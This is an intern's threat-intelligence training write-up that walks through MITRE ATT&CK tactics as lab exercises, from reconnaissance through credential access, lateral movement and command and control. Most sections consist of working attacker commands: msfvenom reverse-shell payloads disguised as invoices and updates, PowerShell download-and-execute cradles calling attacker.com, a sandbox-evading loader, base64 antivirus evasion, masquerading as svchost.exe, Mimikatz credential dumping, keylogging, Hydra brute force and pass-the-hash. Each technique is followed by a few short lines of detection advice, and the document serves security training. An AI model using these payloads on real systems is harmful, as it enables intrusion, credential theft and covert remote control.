Threat Intelligence Task

Name: Chanchal Teli

Intern ID: 125

Tactic 1: Reconnaissance

Technique 1: DNS Enumeration (ID: T1596)

Goal: Avoid blind targeting by identifying the domain's DNS structure and IP addresses for informed attacks.

Objective: Use DNS and WHOIS queries to enumerate the target's infrastructure, discover IP addresses, subdomains, and nameservers, and identify potential points of compromise.

Lab Setup:

Target System: Any domain with active DNS records (e.g., example.com)

Attacker System: Kali Linux

Network: Internet-connected

Tools Used: nslookup, dig, whois

Procedure 1 – Basic DNS Enumeration

1. Open a terminal on Kali Linux.

2. Run:

```
nslookup example.com
```

3. Then run:

```
dig ANY example.com
```

4. Record all IP addresses, subdomains, and DNS records returned.

Procedure 2 – WHOIS Enumeration

1. Install whois if not already installed:

```
apt install whois
```

2. Run:

```
whois example.com
```

3. Record registrar, admin contact, and nameservers for the domain.

Outcome:

A complete DNS map and registration details are gathered for targeted follow-up actions.

Detection Recommendations:

Monitor DNS query logs for repeated lookups to sensitive domains.

Flag WHOIS queries from internal hosts.

Mapping to MITRE ATT&CK:

Tactic: Reconnaissance

Technique: DNS Enumeration

Technique ID: T1596

Tools: nslookup, dig, whois

Objective: Enumerate DNS and registration information.

Technique 2: Network Information Gathering (ID: T1590)

Goal: Identify the target’s network topology and reachable hosts.

Objective: Use passive and active scanning to collect IP ranges, open ports, and services running on the target network.

Lab Setup:

Target System: Any network-connected host in a lab environment

Attacker System: Kali Linux

Network: Same segment or VPN

Tools Used: nmap, netdiscover

Procedure 1 – Passive Discovery with Netdiscover

1. Open terminal in Kali Linux.

2. Run:

```
netdiscover -r 192.168.1.0/24
```

3. Record IP addresses and MAC addresses found.

Procedure 2 – Active Port Scan with Nmap

1. Run a TCP SYN scan:

```
nmap -sS 192.168.1.10
```

2. Note all open ports and detected services.

Outcome:

Live hosts and their exposed services are identified for exploitation.

Detection Recommendations:

Monitor for high-volume ARP requests.

Detect unusual port scan patterns with IDS/IPS.

Mapping to MITRE ATT&CK:

Tactic: Reconnaissance

Technique: Network Information Gathering

Technique ID: T1590

Tools: nmap, netdiscover

Objective: Identify live hosts and services.

Technique 3: Gathering Victim Identity Information (ID: T1589)

Goal: Collect information about specific user accounts and identities in the target organization.

Objective: Enumerate usernames, email addresses, and related credentials for use in social engineering or brute-force attacks.

Lab Setup:

Target: Test domain accounts

Attacker System: Kali Linux

Network: Internet access

Tools Used: theHarvester, Hunter.io

Procedure 1 – Harvest Emails with theHarvester

1. Install theHarvester:

```
apt install theharvester
```

2. Run:

```
theharvester -d example.com -l 100 -b google
```

3. Save discovered emails to a file.

Procedure 2 – Validate Emails with Hunter.io

1. Register for Hunter.io API key.

2. Use the domain search tool to verify addresses and gather associated names.

Outcome:

A validated list of user email accounts is compiled for targeted attacks.

Detection Recommendations:

Monitor for unusual OSINT collection related to company domains.

Use DLP tools to detect mass email harvesting.

Mapping to MITRE ATT&CK:

Tactic: Reconnaissance

Technique: Gathering Victim Identity Information

Technique ID: T1589

Tools: theHarvester, Hunter.io

Objective: Collect valid user accounts.

Tactic 2: Resource Development

Technique 1: Acquire Infrastructure (ID: T1583)

Goal: Prepare attacker-controlled infrastructure to support later stages of the attack.

Objective: Set up domains, servers, and services that will be used for phishing, C2 (Command & Control), and malware delivery.

Lab Setup:

Target: Not applicable (pre-attack stage)

Attacker System: Kali Linux or any admin workstation

Internet connectivity

Tools Used: Domain registrar, VPS provider (e.g., AWS, DigitalOcean), Apache/Nginx

Procedure 1 – Register a Domain

1. Visit a domain registrar (e.g., Namecheap, GoDaddy).
2. Search for an available domain (e.g., labphish.com).
3. Purchase and register the domain.
4. Enable WHOIS privacy to avoid detection.

Procedure 2 – Deploy a VPS with Web Server

1. Create a VPS instance on a provider (e.g., AWS EC2, DigitalOcean Droplet).
2. Install a web server:

```
apt install apache2
```

3. Configure DNS records to point to the VPS IP.

Outcome:

Functional attacker infrastructure ready for hosting malicious content or C2 frameworks.

Detection Recommendations:

Monitor for newly registered domains similar to your brand.

Track traffic to known malicious hosting providers.

Mapping to MITRE ATT&CK:

Tactic: Resource Development

Technique: Acquire Infrastructure

Technique ID: T1583

Tools: Domain registrar, VPS hosting, Apache/Nginx

Objective: Establish attacker-controlled infrastructure.

Technique 2: Obtain Capabilities (ID: T1588)

Goal: Acquire tools, exploits, and malware needed for operations.

Objective: Source or develop capabilities to conduct intrusion, persistence, and data exfiltration.

Lab Setup:

Target: None (pre-attack preparation)

Attacker System: Kali Linux

Internet access to GitHub, exploit databases

Tools Used: GitHub, Exploit-DB, Metasploit Framework

Procedure 1 – Download Public Exploits

1. Visit exploit-db.com.
2. Search for vulnerabilities matching the target system's software.
3. Download exploit code and save locally.

Procedure 2 – Install Metasploit

1. Install Metasploit on Kali:

```
apt install metasploit-framework
```

2. Update the exploit database:

```
msfupdate
```

Outcome:

A ready-to-use toolkit for exploitation phases.

Detection Recommendations:

Monitor for downloads from known exploit sources.

Flag unauthorized installations of penetration testing frameworks.

Mapping to MITRE ATT&CK:

Tactic: Resource Development

Technique: Obtain Capabilities

Technique ID: T1588

Tools: Exploit-DB, GitHub, Metasploit

Objective: Acquire necessary attack tools.

Technique 3: Establish Accounts (ID: T1585)

Goal: Create or compromise online accounts to support malicious operations.

Objective: Use attacker-owned accounts for phishing, payload hosting, or social engineering.

Lab Setup:

Target: None (pre-attack)

Attacker System: Any workstation with internet access

Tools Used: Gmail, ProtonMail, LinkedIn, Twitter

Procedure 1 – Create Disposable Email Accounts

1. Open ProtonMail or Gmail in browser.

2. Register a new account with a fake identity.

3. Enable 2FA for security.

Procedure 2 – Create Social Media Account

1. Visit LinkedIn or Twitter.

2. Register using the disposable email.

3. Fill in realistic profile details to appear legitimate.

Outcome:

Operational accounts usable for social engineering, phishing, and malware delivery.

Detection Recommendations:

Monitor for fake accounts impersonating employees.

Educate staff about verifying sender identities.

Mapping to MITRE ATT&CK:

Tactic: Resource Development

Technique: Establish Accounts

Technique ID: T1585

Tools: Disposable email services, social media platforms

Objective: Prepare operational accounts for malicious use.

Tactic 3: Initial Access

Technique 1: Drive-By Compromise (ID: T1189)

Goal: Exploit vulnerabilities in websites or mobile apps that the victim visits, delivering malicious code without explicit user interaction.

Objective: Host a malicious webpage that automatically delivers a payload when visited by a vulnerable device.

Lab Setup:

Target System: Test Android device or browser in VM

Attacker System: Kali Linux

Network: Isolated lab or controlled test network

Tools Used: Apache Web Server, Browser Exploitation Framework (BeEF), Metasploit

Procedure 1 – Set Up Malicious Web Server

1. Install Apache on Kali:

```
apt install apache2
```

2. Place malicious JavaScript payload in /var/www/html.

Procedure 2 – Launch Exploit Framework

1. Start BeEF framework:

```
beef-xss
```

2. Embed BeEF hook script into the malicious webpage.

3. When victim visits the site, gain browser control and deliver further payloads.

Outcome:

Victim browser or mobile device executes malicious code simply by visiting the attacker's site.

Detection Recommendations:

Use content filtering to block known malicious domains.

Monitor for unexpected JavaScript execution patterns.

Mapping to MITRE ATT&CK:

Tactic: Initial Access

Technique: Drive-By Compromise

Technique ID: T1189

Tools: Apache, BeEF, Metasploit

Objective: Deliver payloads via malicious web content.

Technique 2: Spearphishing Attachment (ID: T1566.001)

Goal: Gain execution on a target device through a carefully crafted malicious attachment.

Objective: Send an email with an embedded exploit or macro-enabled document to compromise the victim's system.

Lab Setup:

Target System: Test Windows machine with email client

Attacker System: Kali Linux

Network: Controlled email test environment

Tools Used: MSFvenom, Thunderbird (email client), Python SMTP server

Procedure 1 – Create Malicious Payload

1. Generate a reverse shell in Word format:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50
LPORT=4444 -f rtf > invoice.rtf
```

Procedure 2 – Send Email with Attachment

1. Use Thunderbird or Python SMTP to send the crafted email.
2. Ensure the subject and body are relevant to the target to increase click likelihood.

Outcome:

When the victim opens the attachment, a reverse shell session is established.

Detection Recommendations:

Use email filtering to detect suspicious file types.

Enable macro and attachment scanning in security tools.

Mapping to MITRE ATT&CK:

Tactic: Initial Access

Technique: Spearphishing Attachment

Technique ID: T1566.001

Tools: MSFvenom, SMTP client

Objective: Deliver malicious files via targeted emails.

Technique 3: Exploit Public-Facing Application (ID: T1190)

Goal: Compromise a publicly accessible server or app by exploiting vulnerabilities.

Objective: Use known exploits to gain initial foothold through unpatched web or mobile applications.

Lab Setup:

Target System: Vulnerable web application (e.g., DVWA, vulnerable WordPress)

Attacker System: Kali Linux

Network: Same as target or over internet (lab safe)

Tools Used: Nmap, Nikto, Metasploit

Procedure 1 – Identify Vulnerabilities

1. Scan target for open ports:

```
nmap -sV target-ip
```

2. Run web vulnerability scan:

```
nikto -h target-ip
```

Procedure 2 – Exploit Vulnerability

1. Search Metasploit for matching exploit:

```
search type:exploit name:wordpress
```

2. Configure and run the exploit to gain shell access.

Outcome:

Initial foothold is gained via a vulnerable public service.

Detection Recommendations:

Patch public-facing apps promptly.

Monitor logs for unusual request patterns.

Mapping to MITRE ATT&CK:

Tactic: Initial Access

Technique: Exploit Public-Facing Application

Technique ID: T1190

Tools: Nmap, Nikto, Metasploit

Objective: Use software flaws for entry.

Tactic 4: Execution

Technique 1: Command and Scripting Interpreter – PowerShell (ID: T1059.001)

Goal: Execute commands and scripts to control the system and stage further attacks.

Objective: Use PowerShell to download and execute a payload on the target system.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Network: Same LAN or VPN

Tools Used: PowerShell, MSFvenom, Python HTTP server

Procedure 1 – Create Malicious Payload

1. On Kali, generate PowerShell reverse shell:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50
LPORT=4444 -f psh > shell.ps1
```

2. Start a Python HTTP server to host it:

```
python3 -m http.server 8080
```

Procedure 2 – Execute Payload via PowerShell

1. On target Windows system, run PowerShell as administrator.

2. Execute:

```
powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.50:8080/shell.ps1')
```

Outcome:

Reverse shell session established on the attacker's machine.

Detection Recommendations:

Monitor PowerShell execution with suspicious flags like -nop or -EncodedCommand.

Enable PowerShell logging (Script Block Logging).

Mapping to MITRE ATT&CK:

Tactic: Execution

Technique: PowerShell Command Execution

Technique ID: T1059.001

Tools: PowerShell, MSFvenom, Python HTTP server

Objective: Execute remote payload via PowerShell.

Technique 2: Native API (ID: T1106)

Goal: Use native OS-level functions to run malicious code without traditional interpreters.

Objective: Call Windows API functions directly to execute payloads in memory.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux with mingw-w64 installed

Tools Used: mingw-w64, MSFvenom

Procedure 1 – Generate C Payload

1. On Kali:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f c > shell.c
```

Procedure 2 – Compile and Execute

1. Compile with mingw-w64:

```
x86_64-w64-mingw32-gcc shell.c -o shell.exe
```

2. Transfer shell.exe to target and run.

Outcome:

Payload executes using native API calls, potentially bypassing script-based defenses.

Detection Recommendations:

Monitor for unsigned binaries running from unusual directories.

Use application whitelisting to block unauthorized executables.

Mapping to MITRE ATT&CK:

Tactic: Execution

Technique: Native API

Technique ID: T1106

Tools: mingw-w64, MSFvenom

Objective: Execute payload using native Windows functions.

Technique 3: User Execution – Malicious Link (ID: T1204.001)

Goal: Trick the user into initiating malicious activity.

Objective: Send a link that leads to the download and execution of a payload.

Lab Setup:

Target System: Any OS with web browser

Attacker System: Kali Linux

Tools Used: Python HTTP server, URL shortener

Procedure 1 – Host Payload

1. Generate reverse shell:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50
LPORT=4444 -f exe > update.exe
```

2. Host with Python HTTP server:

```
python3 -m http.server 80
```

Procedure 2 – Send Link

1. Use a URL shortener to hide the file's true location.

2. Send link to target via phishing email or message.

Outcome:

User downloads and runs payload, granting attacker access.

Detection Recommendations:

Filter URLs and block suspicious domains.

Train users to verify unexpected links.

Mapping to MITRE ATT&CK:

Tactic: Execution

Technique: User Execution – Malicious Link

Technique ID: T1204.001

Tools: Python HTTP server, URL shortener

Objective: Deliver payload via social engineering.

Tactic 5: Privilege Escalation

Technique 1: Exploitation for Privilege Escalation (ID: T1068)

Goal: Exploit a vulnerability to gain higher-level privileges on a compromised system.

Objective: Use a known local privilege escalation exploit to move from a standard user account to SYSTEM/root.

Lab Setup:

Target System: Windows 10 (unpatched)

Attacker System: Kali Linux

Network: Same LAN or VPN

Tools Used: Exploit-DB, Metasploit

Procedure 1 – Identify Vulnerability

1. On compromised host, run:

```
systeminfo
```

2. Look for Windows version and patch level.
3. Search Exploit-DB for matching local privilege escalation exploits.

Procedure 2 – Exploit the Vulnerability

1. In Metasploit:

```
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
run
```

Outcome:

Session privilege is elevated to SYSTEM.

Detection Recommendations:

Patch systems regularly to remove privilege escalation vulnerabilities.

Monitor for suspicious use of local exploits.

Mapping to MITRE ATT&CK:

Tactic: Privilege Escalation

Technique: Exploitation for Privilege Escalation

Technique ID: T1068

Tools: Exploit-DB, Metasploit

Objective: Gain SYSTEM/root privileges via vulnerabilities.

Technique 2: Abuse Elevation Control Mechanism – Bypass UAC (ID: T1548.002)

Goal: Execute code with elevated privileges without triggering a User Account Control (UAC) prompt.

Objective: Use built-in Windows utilities to bypass UAC and escalate privileges.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Metasploit, Windows utilities (eventvwr.exe)

Procedure 1 – Use Event Viewer UAC Bypass

1. In a low-privilege shell, run:

```
eventvwr.exe
```

2. This launches Event Viewer with elevated privileges via auto-elevate functionality.

Procedure 2 – Inject Payload

1. Configure Metasploit to migrate into elevated process:

```
migrate <PID_of_eventvwr>
```

Outcome:

Attacker process now runs with administrative rights without UAC prompt.

Detection Recommendations:

Disable auto-elevate features for built-in tools where possible.

Monitor for execution of eventvwr.exe from unusual locations.

Mapping to MITRE ATT&CK:

Tactic: Privilege Escalation

Technique: Bypass UAC

Technique ID: T1548.002

Tools: Metasploit, Windows Event Viewer

Objective: Escalate privileges without user approval.

Technique 3: Process Injection (ID: T1055)

Goal: Inject malicious code into legitimate processes to evade detection and escalate privileges.

Objective: Use process injection to hide malicious activity inside trusted applications.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Metasploit, Mimikatz

Procedure 1 – Identify Target Process

1. On target, run:

```
tasklist
```

2. Choose a process running with higher privileges (e.g., explorer.exe).

Procedure 2 – Inject Payload

1. In Metasploit:

```
use exploit/windows/local/reflective_dll_injection
set SESSION 1
set PROCESS explorer.exe
run
```

Outcome:

Malicious code executes under the context of a privileged process.

Detection Recommendations:

Monitor API calls related to process injection (WriteProcessMemory, CreateRemoteThread).

Use EDR solutions to block reflective DLL injection.

Mapping to MITRE ATT&CK:

Tactic: Privilege Escalation

Technique: Process Injection

Technique ID: T1055

Tools: Metasploit, Mimikatz

Objective: Run malicious code inside privileged processes.

Tactic 6: Defense Evasion

Technique 1: Obfuscated Files or Information (ID: T1027)

Goal: Avoid detection by encoding or hiding malicious code to bypass antivirus and endpoint protection.

Objective: Create a malicious PowerShell payload, obfuscate it with Base64, and execute it without triggering basic AV.

Lab Setup:

Target System: Windows 10 with Defender enabled

Attacker System: Kali Linux

Network: Same LAN or VPN

Tools Used: PowerShell, MSFvenom, Base64 encoder, Notepad

Procedure 1 – Generate PowerShell Payload

1. On Kali:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50
LPORT=4444 -f psh > shell.ps1
```

Procedure 2 – Encode Payload in Base64

1. Save payload into a text file:

```
echo "powershell -nop -w hidden -c IEX(New-Object
Net.WebClient).DownloadString('http://attacker.com/shell.ps1')" > shell.txt
```

2. Encode in UTF-16LE Base64:

```
cat shell.txt | iconv -t UTF-16LE | base64
```

3. Execute on target:

```
powershell.exe -EncodedCommand <BASE64_STRING>
```

Outcome:

Antivirus fails to detect the encoded payload due to obfuscation.

Detection Recommendations:

Monitor for -EncodedCommand usage in PowerShell logs.

Use EDR tools capable of decoding Base64 commands.

Mapping to MITRE ATT&CK:

Tactic: Defense Evasion

Technique: Obfuscated Files or Information

Technique ID: T1027

Tools: PowerShell, MSFvenom, Base64

Objective: Hide payload content from detection.

Technique 2: Masquerading (ID: T1036)n

Goal: Make malicious files appear legitimate by changing names or locations.

Objective: Rename and disguise malicious binaries as trusted applications.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Windows Explorer, PowerShell

Procedure 1 – Create Malicious Binary

1. Generate payload:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50
LPORT=4444 -f exe > calc.exe
```

Procedure 2 – Masquerade as Legitimate File

1. Rename calc.exe to svchost.exe.
2. Place it in C:\Windows\System32\.

Outcome:

The file appears as a trusted Windows process, reducing suspicion.

Detection Recommendations:

Monitor file creation in system directories.

Compare file hashes to known clean versions.

Mapping to MITRE ATT&CK:

Tactic: Defense Evasion

Technique: Masquerading

Technique ID: T1036

Tools: MSFvenom, Windows Explorer

Objective: Disguise malicious binaries as legitimate files.

Technique 3: Time-Based Evasion (ID: T1497.003)

Goal: Delay execution or detect sandbox environments by analyzing system uptime.

Objective: Prevent execution in automated analysis environments by checking if the system has been recently booted.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: PowerShell, Custom Script

Procedure 1 – Create Delayed Execution Script

1. Write script:

```
$uptime = (Get-Date) - (gcim Win32_OperatingSystem).LastBootUpTime
if ($uptime.TotalMinutes -lt 10) { exit }
Start-Sleep -Seconds 300
IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
```

Procedure 2 – Deploy Script

1. Host payload on web server.

2. Execute script on target.

Outcome:

Payload only executes on systems that have been running for a while, avoiding sandbox detection.

Detection Recommendations:

Flag scripts that query uptime and delay execution.

Monitor outbound traffic after long delays post-launch.

Mapping to MITRE ATT&CK:

Tactic: Defense Evasion

Technique: Time-Based Evasion

Technique ID: T1497.003

Tools: PowerShell, Custom Script

Objective: Evade sandbox and automated analysis tools.

Tactic 7: Credential Access

Technique 1: Credential Dumping – LSASS Memory (ID: T1003.001)

Goal: Extract plaintext passwords, hashes, and Kerberos tickets from Windows memory.

Objective: Use Mimikatz to dump credentials from the LSASS process for lateral movement or privilege escalation.

Lab Setup:

Target System: Windows 10 (test machine)

Attacker System: Kali Linux

Network: Same LAN or VPN

Tools Used: Mimikatz, Metasploit

Procedure 1 – Access Target and Load Mimikatz

1. Establish a Meterpreter session on the target.

2. Load Mimikatz in Metasploit:

```
load kiwi
```

Procedure 2 – Dump Credentials

1. Dump all credentials:

```
creds_all
```

2. Save extracted passwords/hashes for later use.

Outcome:

Attacker obtains usernames, plaintext passwords, and hashes from memory.

Detection Recommendations:

Enable LSASS protection with Credential Guard.

Monitor for direct LSASS memory access.

Mapping to MITRE ATT&CK:

Tactic: Credential Access

Technique: Credential Dumping – LSASS Memory

Technique ID: T1003.001

Tools: Mimikatz, Metasploit

Objective: Retrieve stored credentials from LSASS process.

Technique 2: Input Capture – Keylogging (ID: T1056.001)

Goal: Capture user keystrokes to obtain credentials and other sensitive data.

Objective: Deploy a keylogger that records everything typed on the victim's keyboard.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Metasploit, Meterpreter

Procedure 1 – Deploy Keylogger

1. In Meterpreter session:

```
keyscan_start
```

Procedure 2 – Retrieve Captured Keystrokes

1. After some time, stop and dump logs:

```
keyscan_dump
keyscan_stop
```

2. Review captured text for usernames and passwords.

Outcome:

Attacker records all typed data, including credentials.

Detection Recommendations:

Monitor for unrecognized processes hooking into keyboard APIs.

Use endpoint protection with behavior analysis.

Mapping to MITRE ATT&CK:

Tactic: Credential Access

Technique: Keylogging

Technique ID: T1056.001

Tools: Metasploit, Meterpreter

Objective: Steal credentials via keystroke logging.

Technique 3: Brute Force – Password Guessing (ID: T1110.001)

Goal: Gain unauthorized access by repeatedly guessing passwords.

Objective: Use automated tools to attempt multiple username-password combinations until successful.

Lab Setup:

Target System: SSH-enabled Linux host or RDP-enabled Windows machine

Attacker System: Kali Linux

Tools Used: Hydra, wordlists (rockyou.txt)

Procedure 1 – SSH Brute Force

1. Run Hydra:

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.20
```

Procedure 2 – RDP Brute Force

1. Run Hydra with RDP module:

```
hydra -t 4 -V -f -l Administrator -P /usr/share/wordlists/rockyou.txt
rdp://192.168.1.30
```

Outcome:

Valid credentials discovered via password guessing.

Detection Recommendations:

Lock accounts after several failed login attempts.

Monitor authentication logs for brute force patterns.

Mapping to MITRE ATT&CK:

Tactic: Credential Access

Technique: Brute Force – Password Guessing

Technique ID: T1110.001

Tools: Hydra, rockyou.txt

Objective: Crack credentials via repeated login attempts.

Tactic 8: Discovery

Technique 1: Network Service Scanning (ID: T1046)

Goal: Identify active services, open ports, and potential entry points on the target network.

Objective: Use scanning tools to map the target network and detect exploitable services.

Lab Setup:

Target System: Multiple hosts in lab network

Attacker System: Kali Linux

Tools Used: Nmap, Masscan

Procedure 1 – Nmap Scan

1. Basic service scan:

```
nmap -sV 192.168.1.0/24
```

2. Save results to file:

```
nmap -sV -oN services.txt 192.168.1.0/24
```

Procedure 2 – Masscan for Speed

1. Run high-speed scan:

```
masscan 192.168.1.0/24 -p1-65535 --rate=1000
```

Outcome:

List of open ports and running services across the network.

Detection Recommendations:

Monitor for port scanning activity.

Use IDS/IPS to detect repeated connection attempts.

Mapping to MITRE ATT&CK:

Tactic: Discovery

Technique: Network Service Scanning

Technique ID: T1046

Tools: Nmap, Masscan

Objective: Identify network services for exploitation.

Technique 2: File and Directory Discovery (ID: T1083)

Goal: Locate files and directories that may contain sensitive information.

Objective: Search for valuable files (passwords, configs, keys) on a compromised system.

Lab Setup:

Target System: Windows 10 / Linux

Attacker System: Kali Linux

Tools Used: PowerShell, find command, Meterpreter

Procedure 1 – Windows Search

1. In PowerShell:

```
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Name -match "password" }
```

Procedure 2 – Linux Search

1. In terminal:

```
find / -type f -name "password" 2>/dev/null
```

Outcome:

Sensitive files and configuration data located for later exfiltration.

Detection Recommendations:

Monitor for large file enumeration activity.

Restrict permissions to sensitive directories.

Mapping to MITRE ATT&CK:

Tactic: Discovery

Technique: File and Directory Discovery

Technique ID: T1083

Tools: PowerShell, find

Objective: Identify files of interest.

Technique 3: System Information Discovery (ID: T1082)

Goal: Gather system details to inform further attacks.

Objective: Collect OS version, architecture, hostname, and installed software.

Lab Setup:

Target System: Windows 10 / Linux

Attacker System: Kali Linux

Tools Used: PowerShell, uname, systeminfo

Procedure 1 – Windows Enumeration

1. Run:

```
systeminfo
```

2. Check installed programs:

```
wmic product get name,version
```

Procedure 2 – Linux Enumeration

1. Run:

```
uname -a
lsb_release -a
```

Outcome:

Complete system profile for exploitation planning.

Detection Recommendations:

Monitor execution of enumeration commands.

Limit information available to low-privileged accounts.

Mapping to MITRE ATT&CK:

Tactic: Discovery

Technique: System Information Discovery

Technique ID: T1082

Tools: PowerShell, uname, systeminfo

Objective: Collect system configuration data.

Tactic 9: Lateral Movement

Technique 1: Remote Services – SMB/Windows Admin Shares (ID: T1021.002)

Goal: Move from one compromised system to another using Windows administrative shares.

Objective: Use stolen credentials to connect to remote systems over SMB and deploy payloads.

Lab Setup:

Target System: Windows 10 (file sharing enabled)

Attacker System: Kali Linux

Network: Same LA

Tools Used: smbclient, Impacket, Metasploit

Procedure 1 – Connect to Remote Share

1. Use smbclient:

```
smbclient //192.168.1.20/C$ -U administrator
```

Procedure 2 – Deploy Payload

1. Upload malicious executable to C:\Windows\Temp.

2. Execute remotely using Metasploit:

```
psexec.py administrator@192.168.1.20
```

Outcome:

Access to another system using SMB shares.

Detection Recommendations:

Monitor for SMB logins from unusual hosts.

Disable unnecessary admin shares.

Mapping to MITRE ATT&CK:

Tactic: Lateral Movement

Technique: Remote Services – SMB/Windows Admin Shares

Technique ID: T1021.002

Tools: smbclient, Impacket, Metasploit

Objective: Move laterally using SMB administrative access.

Technique 2: Remote Desktop Protocol (RDP) (ID: T1021.001)

Goal: Move laterally using RDP with stolen credentials.

Objective: Gain GUI-based access to another system in the network.

Lab Setup:

Target System: Windows 10 (RDP enabled)

Attacker System: Kali Linux / Windows

Tools Used: xfreerdp, rdesktop

Procedure 1 – Connect via RDP

1. On Kali:

```
xfreerdp /u:Administrator /p:Password123 /v:192.168.1.25
```

Procedure 2 – Upload Payload via Clipboard/Drive Mapping

1. Use RDP file sharing to transfer tools.
2. Execute payload on remote system.

Outcome:

Interactive control of a remote system for further exploitation.

Detection Recommendations:

Limit RDP access to specific IPs.

Enable Network Level Authentication.

Mapping to MITRE ATT&CK:

Tactic: Lateral Movement

Technique: Remote Desktop Protocol

Technique ID: T1021.001

Tools: xfreerdp, rdesktop

Objective: Access systems over RDP with stolen credentials.

Technique 3: Pass the Hash (ID: T1550.002)

Goal: Authenticate to remote systems using password hashes instead of plaintext passwords.

Objective: Use NTLM hashes to access other Windows systems without cracking the password.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux with Impacket installed

Tools Used: Impacket (psexec.py), Mimikatz

Procedure 1 – Obtain NTLM Hash

1. Dump hashes using Mimikatz:

```
sekurlsa::logonpasswords
```

Procedure 2 – Use Hash to Authenticate

1. Run:

```
psexec.py -hashes <LMHASH>:<NTHASH> administrator@192.168.1.30
```

Outcome:

Remote session established without needing plaintext password.

Detection Recommendations:

Monitor for NTLM authentication without password attempts.

Disable SMBv1 and enforce Kerberos where possible.

Mapping to MITRE ATT&CK:

Tactic: Lateral Movement

Technique: Pass the Hash

Technique ID: T1550.002

Tools: Mimikatz, Impacket

Objective: Move laterally using NTLM hashes.

Tactic 10: Collection

Technique 1: Screen Capture (ID: T1113)

Goal: Collect visual data from the target system by capturing screenshots.

Objective: Use built-in tools or malware functions to take screenshots of sensitive activity.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Metasploit, Meterpreter

Procedure 1 – Initiate Screenshot Capture

1. Establish a Meterpreter session.
2. Run:

```
screenshot
```

Procedure 2 – Automate Continuous Capture

1. Script periodic screenshots:

```
screenshot; sleep 5; screenshot
```

Outcome:

Attacker obtains visual evidence of sensitive data.

Detection Recommendations:

Monitor for unexpected screen capture APIs being invoked.

Restrict use of remote administration tools.

Mapping to MITRE ATT&CK:

Tactic: Collection

Technique: Screen Capture

Technique ID: T1113

Tools: Meterpreter

Objective: Gather sensitive visual information.

Technique 2: Clipboard Data (ID: T1115)

Goal: Steal data copied to the clipboard, such as passwords or confidential text.

Objective: Capture clipboard contents remotely for intelligence gathering.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Meterpreter

Procedure 1 – Read Clipboard Contents

1. In Meterpreter session:

```
clipboard
```

(If command unavailable, use PowerShell script to fetch clipboard content.)

Procedure 2 – Continuous Monitoring

1. Deploy script that periodically polls clipboard content.

Outcome:

Clipboard text, including sensitive credentials, is retrieved.

Detection Recommendations:

Monitor for repeated clipboard API calls.

Use clipboard managers that alert on external access.

Mapping to MITRE ATT&CK:

Tactic: Collection

Technique: Clipboard Data

Technique ID: T1115

Tools: Meterpreter, PowerShell

Objective: Capture data from clipboard.

Technique 3: Input Capture – Keylogging (ID: T1056.001)

Goal: Record keystrokes to capture passwords, messages, and sensitive entries.

Objective: Deploy keylogger to gather input data from target.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Tools Used: Meterpreter

Procedure 1 – Start Keylogger

1. In Meterpreter session:

```
keyscan_start
```

Procedure 2 – Dump and Stop Keylogger

1. After some time:

keyscan_dump

keyscan_stop

Outcome:

Attacker retrieves typed credentials and confidential text.

Detection Recommendations:

Use anti-keylogging tools.

Monitor for API calls to keyboard hooks.

Mapping to MITRE ATT&CK:

Tactic: Collection

Technique: Keylogging

Technique ID: T1056.001

Tools: Meterpreter

Objective: Capture typed input for credential theft.

Tactic 11: Command and Control (C2)

Technique 1: Application Layer Protocol – Web Protocols

Goal: Communicate with a compromised system over HTTP/HTTPS to blend in with normal web traffic.

Objective: Use a C2 framework to control the target via encrypted web traffic.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux

Network: Internet access enabled

Tools Used: Metasploit, Apache, MSFvenom

Procedure 1 – Generate HTTPS Payload

1. On Kali:

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.50 LPORT=443 -f exe > https_payload.exe
```

Procedure 2 – Start HTTPS Listener

1. In Metasploit:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
set LPORT 443
run
```

Outcome:

C2 communication established over HTTPS, blending with normal traffic.

Detection Recommendations:

Inspect TLS traffic for suspicious certificate use.

Monitor for beaconing patterns to unknown domains.

Mapping to MITRE ATT&CK:

Tactic: Command and Control

Technique: Application Layer Protocol – Web Protocols

Technique ID: T1071.001

Tools: Metasploit, MSFvenom, Apache

Objective: Maintain C2 using HTTPS traffic.

Technique 2: Encrypted Channel (ID: T1573.001)

Goal: Protect C2 traffic from detection using encryption.

Objective: Configure the C2 server to use TLS for secure communication.

Lab Setup:

Target System: Windows 10

Attacker System: Kali Linux with OpenSSL

Tools Used: Metasploit, OpenSSL

Procedure 1 – Generate SSL Certificate

1. Run:

```
openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes
```

Procedure 2 – Configure C2 Framework to Use TLS

1. In Metasploit:

```
set HandlerSSLCert /path/to/cert.pem
set StagerVerifySSLCert true
```

Outcome:

All C2 traffic encrypted to evade network inspection.

Detection Recommendations:

Use SSL/TLS inspection on corporate gateways.

Monitor for self-signed certificates in traffic.

Mapping to MITRE ATT&CK:

Tactic: Command and Control

Technique: Encrypted Channel

Technique ID: T1573.001

